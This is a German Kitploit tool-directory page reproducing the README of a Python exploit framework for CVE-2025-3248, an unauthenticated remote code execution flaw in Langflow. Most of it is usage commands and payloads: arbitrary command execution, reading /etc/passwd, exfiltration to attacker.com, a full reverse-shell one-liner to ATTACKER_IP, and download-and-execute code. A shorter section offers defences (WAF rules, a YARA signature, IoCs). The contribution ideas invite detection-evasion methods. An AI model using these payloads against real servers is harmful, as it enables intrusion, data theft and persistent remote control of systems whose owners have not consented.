Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-3248-exploit — Ein umfassendes Python-Exploitation-Framework zum Testen und Demonstrieren von CVE-2025-3248, einer kritischen nicht authentifizierten Remote-Code-Ausführung-Sicherheitslücke in Langflow-Versionen ≤ 1.3.0. | Kitploit
Tools/GitHubGitHub/drackyjr/cve-2025-3248-exploit
SchwachstellenscannerCode-AnalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPost-ExploitationPenetrationstestsCommand and ControlLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Red Teaming
Payload-Entwicklung
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Ein umfassendes Python-Exploitation-Framework zum Testen und Demonstrieren von CVE-2025-3248, einer kritischen nicht authentifizierten Remote-Code-Ausführung-Sicherheitslücke in Langflow-Versionen ≤ 1.3.0.

Repository anzeigen
3vor 9 MonatenNoch nicht geprüft

CVE-2025-3248: Langflow Unauthenticated RCE-Schwachstellen-Scanner

License Python Status CVSS EPSS

Ein umfassendes Python-Exploitation-Framework zum Testen und Demonstrieren von CVE-2025-3248, einer kritischen unauthenticated Remote Code Execution-Schwachstelle in Langflow Versionen ≤ 1.3.0.


🔴 Schwachstellenübersicht

CVE-2025-3248: Langflow Code Injection RCE

EigenschaftWert
CVE IDCVE-2025-3248
ProduktLangflow
Betroffene Versionen≤ 1.3.0
SchwachstellentypNicht authentifizierte Remote Code Execution (RCE)
AngriffsvektorNetzwerk
Authentifizierung erforderlichKeine
CVSS-Score9.8 (Kritisch)
EPSS Score92.57%
CWECWE-94 (Unzureichende Kontrolle der Codegenerierung)
Verwundbarer Endpoint/api/v1/validate/code

Grundursache

Die Schwachstelle existiert im API-Endpoint /api/v1/validate/code, der beliebigen Python-Code akzeptiert und ihn mithilfe der unsicheren exec()-Funktion validiert, ohne ordnungsgemäße Eingabebereinigung oder Sandboxing. Die Schwachstelle nutzt das Verhalten von Python aus, bei dem:

  1. Dekorateure sofort ausgewertet werden während der Funktionsdefinition
  2. Standardargumentwerte ausgeführt werden während der Abstract Syntax Tree (AST)-Analyse
  3. Keine Eingabevalidierung existiert, um schädliche Codeausführung zu verhindern

Angriffskette

root@kitploit:~
Angreifer → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   Keine Authentifizierung erforderlich
     ↓
   Beliebiger Python-Code
     ↓
   Systembefehlsausführung

✨ Funktionen

  • ✅ Endpoint-Erkennung: Identifiziert automatisch verwundbare Langflow-Instanzen
  • ✅ Mehrstufiges Testen: 4 progressive Schwachstellentests
  • ✅ Befehlsausführung: Führt beliebige Systembefehle auf dem Ziel aus
  • ✅ Umgebungsextraktion: Ruft Umgebungsvariablen und Konfiguration ab
  • ✅ Dateioperationen: Testet Lese-/Schreibfähigkeiten von Dateien
  • ✅ Reverse-Shell-Unterstützung: Startet interaktive Reverse-Shell-Sitzungen
  • ✅ Versionserkennung: Identifiziert Langflow-Versionsinformationen
  • ✅ Farbcodierte Ausgabe: Verbesserte Lesbarkeit durch Terminalfarben
  • ✅ Timeout-Verwaltung: Konfigurierbare Request-Timeout
  • ✅ SSL/TLS-Umgehung: Unterstützung für selbstsignierte Zertifikate

📦 Voraussetzungen

root@kitploit:~
Python >= 3.7
requests >= 2.25.0

Abhängigkeiten installieren

root@kitploit:~
pip install requests

Optional (für bessere Protokollierung)

root@kitploit:~
pip install colorama  # For Windows color support

🚀 Installation

Methode 1: Von GitHub klonen

root@kitploit:~
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Verwendung

Grundlegende Syntax

root@kitploit:~
python3 cve_2025_3248_test.py -t <target_url> [options]

Schnellstart-Beispiele

1. Grundlegender Schwachstellenscan

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com

2. Benutzerdefinierten Befehl ausführen

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Mehrere Befehle ausführen

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Reverse-Shell-Exploitation (Nur autorisiertes Testen)

Schritt 1: Starten Sie einen netcat-Listener auf Ihrem Rechner

root@kitploit:~
nc -lvnp 4444

Schritt 2: Führen Sie den Exploit aus

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Beispiel:

root@kitploit:~
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Scan mit benutzerdefiniertem Timeout

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Kommandozeilenargumente

root@kitploit:~
positional arguments:
  None

optional arguments:
  -t, --target TARGET       Ziel-URL (z. B. http://target.com) [ERFORDERLICH]
  -c, --command COMMAND     Auszuführender Befehl (Standard: id)
  --timeout TIMEOUT         Request-Timeout in Sekunden (Standard: 10)
  --exploit                 Exploitation-Modus aktivieren (Reverse Shell)
  --lhost LHOST            Ihre IP-Adresse für Reverse Shell
  --lport LPORT            Ihr Port für Reverse Shell
  -h, --help               Diese Hilfemeldung anzeigen

💾 Payload-Varianten

1. Dekorator-basierte Ausführung

root@kitploit:~
payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Standardargument-Ausführung

root@kitploit:~
payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Datenexfiltration

root@kitploit:~
payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (One-Liner)

root@kitploit:~
payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Dateilesevorgänge

root@kitploit:~
payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Umgebungsvariablen-Aufzählung

root@kitploit:~
payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Herunterladen und Ausführen

root@kitploit:~
payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Erkennung & Abwehr

Für Verteidiger

Sofortmaßnahmen

  1. Langflow aktualisieren

    root@kitploit:~
    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. Netzwerkzugriff einschränken

    root@kitploit:~
    # Nginx reverse proxy - block vulnerable endpoint
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Authentifizierung implementieren

    root@kitploit:~
    # Add authentication middleware
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

WAF-Regeln

ModSecurity-Regel:

root@kitploit:~
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Erkennungsregeln

YARA-Signatur:

root@kitploit:~
rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Überwachung & Protokollierung

root@kitploit:~
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indikatoren für Kompromittierung (IoCs)

  • Ungewöhnliche POST-Anfragen an /api/v1/validate/code
  • Gestartete Prozesse von Langflow mit verdächtigen Namen
  • Unerwartete ausgehende Verbindungen vom Langflow-Server
  • Dateien mit ungewöhnlichen Zeitstempeln in /tmp erstellt
  • Python-Subprozess-Ausführung durch Langflow-Prozess
  • Authentifizierungsfehler gefolgt von API-Anfragen
  • Anstieg der CPU-/Speichernutzung durch Langflow-Container

🔬 Technische Analyse

Wie die Schwachstelle funktioniert

Die Angriffskette funktioniert wie folgt:

root@kitploit:~
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Server processes it:
exec(code)  # ← Gefährlich! Keine Bereinigung

# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')

# Ergebnis: Beliebige Befehlsausführung

Warum Dekorateure funktionieren

Pythons Verhalten mit Dekorateuren während der Funktionsdefinition:

root@kitploit:~
# Dieser Code wird sofort ausgeführt:
@decorator_expression
def my_function():
    pass

# Das bedeutet, dieses Payload führt den Code aus:
@exec("malicious_code_here")
def vulnerable_function():
    pass

Warum es kritisch ist

  1. Keine Authentifizierung erforderlich: Jeder kann auf den Endpoint zugreifen
  2. Netzwerkzugänglich: Kann remote ausgenutzt werden
  3. Vollständiger Systemzugriff: Wird mit den Berechtigungen des Langflow-Prozesses ausgeführt
  4. Keine Eingabevalidierung: Direkte Codeausführung
  5. Weit verbreitet: In Produktionsumgebungen eingesetzt
  6. Hohe Exploit-Verfügbarkeit: Öffentliche POCs verfügbar

📊 Schwachstellen-Zeitplan


🛡️ Checkliste für defensives Testen

Bei der Durchführung autorisierter Sicherheitstests:

  • Schriftliche Genehmigung vor dem Testen einholen
  • Alle Testaktivitäten dokumentieren
  • Nach Möglichkeit isolierte Testumgebungen verwenden
  • Vermeiden Sie unnötige Ausnutzung von Produktionssystemen
  • Während des Testens erstellte Artefakte (Dateien, Prozesse) bereinigen
  • Ergebnisse verantwortungsvoll an die Zielorganisation melden
  • Praktiken der verantwortungsvollen Offenlegung befolgen
  • Vertraulichkeit der Testergebnisse wahren

📚 Referenzen

  • OffSec Blog: CVE-2025-3248 Analyse
  • SentinelOne: Langflow Code Injection RCE
  • Zscaler ThreatLabz: CVE-2025-3248 RCE Schwachstelle
  • TrendMicro: FLODRIC Botnet Ausnutzung
  • RecordedFuture: Bericht über aktive Ausnutzung
  • Exploit-DB: Langflow 1.3.0 RCE
  • GitHub Advisories: GHSA-c995-4fw3-j39m


🤝 Mitwirken

Beiträge sind willkommen! Bitte befolgen Sie diese Richtlinien:

  1. Repository forken
  2. Erstellen Sie einen Feature-Branch (git checkout -b feature/amazing-feature)
  3. Commiten Sie Ihre Änderungen (git commit -m 'Add amazing feature')
  4. Pushen Sie den Branch (git push origin feature/amazing-feature)
  5. Öffnen Sie einen Pull Request

Ideen für Beiträge

  • Zusätzliche Payload-Varianten
  • Alternative Ausnutzungstechniken
  • Methoden zur Erkennungsumgehung
  • Abwehrstrategien
  • Dokumentationsverbesserungen
  • Fehlerbehebungen


⚠️ Haftungsausschluss

WICHTIGER RECHTLICHER HINWEIS:

Dieses Tool wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist ILLEGAL und verletzt Gesetze wie:

  • Computer Fraud and Abuse Act (CFAA) - USA
  • Computer Misuse Act - UK
  • Information Technology Act (ITA) - India
  • Similar laws in your jurisdiction

Sie sind allein verantwortlich für:

  • ✅ Einholen einer ausdrücklichen schriftlichen Genehmigung von Systembesitzern vor dem Testen
  • ✅ Sicherstellen, dass alle Aktivitäten lokalen und internationalen Gesetzen entsprechen
  • ✅ Verwendung dieses Tools nur auf Systemen, die Sie besitzen oder für die Sie eine Testberechtigung haben
  • ✅ Wahrung der Vertraulichkeit von Sicherheitsergebnissen
  • ✅ Befolgung der Praktiken der verantwortungsvollen Offenlegung
  • ✅ Nichtverwendung dieses Tools für böswillige Zwecke

Durch die Nutzung dieses Tools stimmen Sie zu:

  • Es nicht für unbefugten Zugriff oder Schäden zu verwenden
  • Die volle rechtliche Verantwortung für Ihr Handeln zu übernehmen
  • Die Ersteller von jeglicher Haftung freizustellen und schadlos zu halten
  • Alle anwendbaren Gesetze und Vorschriften einzuhalten

Die Ersteller und Mitwirkenden übernehmen KEINE HAFTUNG für den Missbrauch dieses Tools.

📖 Zusätzliche Ressourcen

Lernmaterialien

  • OWASP Code Injection
  • CWE-94: Improper Control of Generation of Code
  • Python Security: exec() Dangers
  • Reverse Shell Techniques

Zuletzt aktualisiert: 21. November 2025


root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  Use Responsibly - Authorized Testing Only               ║
╚═══════════════════════════════════════════════════════════╝
Tool herunterladen
DatumEreignis
2025-04-06Schwachstelle entdeckt und an Langflow-Team gemeldet
2025-04-17Öffentlicher Exploit veröffentlicht (Exploit-DB)
2025-05-14FortiguardLabs Outbreak Alarm ausgegeben
2025-05-21Zscaler ThreatLabz Analyse veröffentlicht
2025-05-22RecordedFuture berichtet über aktive Ausnutzung
2025-06-16TrendMicro berichtet über FLODRIC Botnet-Ausnutzung
2025-06-17OffSec umfassende Analyse veröffentlicht
2025-11-05SentinelOne Schwachstellendatenbankeintrag
2025-11-20Fortgesetzte Ausnutzungsversuche beobachtet